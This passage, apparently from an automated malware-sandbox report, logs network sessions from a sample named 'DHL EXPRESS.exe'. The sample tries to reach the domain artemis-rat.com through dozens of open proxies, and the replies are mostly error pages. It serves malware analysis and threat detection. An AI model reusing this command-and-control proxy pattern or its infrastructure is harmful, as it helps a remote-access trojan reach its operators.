Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.8	50578	54.178.159.199	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.686525106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.950057030 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Mar 2024 17:36:45 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.8	50539	163.172.171.22	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.688980103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.8	50676	172.67.181.97	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.690929890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.845532894 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.8	50512	51.75.74.18	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.694941998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.011480093 CET	807	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 615 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 65 6c 69 61 74 6f 66 61 6e 69 40 67 6d 61 69 6c 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at eliatofani@gmail.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.8	50628	92.204.134.38	25675	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.699682951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.268750906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.987515926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.457201004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.8	50434	124.198.74.90	26976	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.720753908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.534758091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.862675905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.257035971 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.8	50377	220.194.189.144	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.721043110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.596893072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.046653032 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 17:59:50 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.8	50544	5.252.23.220	1081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.721606016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.8	50686	104.25.42.178	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.721837044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.876231909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.8	50479	212.108.145.195	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.724998951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.8	50693	104.19.225.70	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.725138903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.879343987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.8	50552	198.44.255.3	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.726207018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.8	50549	43.131.245.216	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.726548910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.8	50621	184.178.172.5	15303	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.726617098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.8	50504	171.235.166.222	4019	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.726846933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.424990892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.101537943 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.8	50541	31.43.158.108	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.728669882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.8	50500	95.66.138.21	8880	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.733030081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.8	50618	45.65.138.48	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.739523888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.742877007 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.8	50425	102.130.125.86	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.742085934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.612489939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.083774090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845690012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.206696033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.597191095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.003851891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.961476088 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 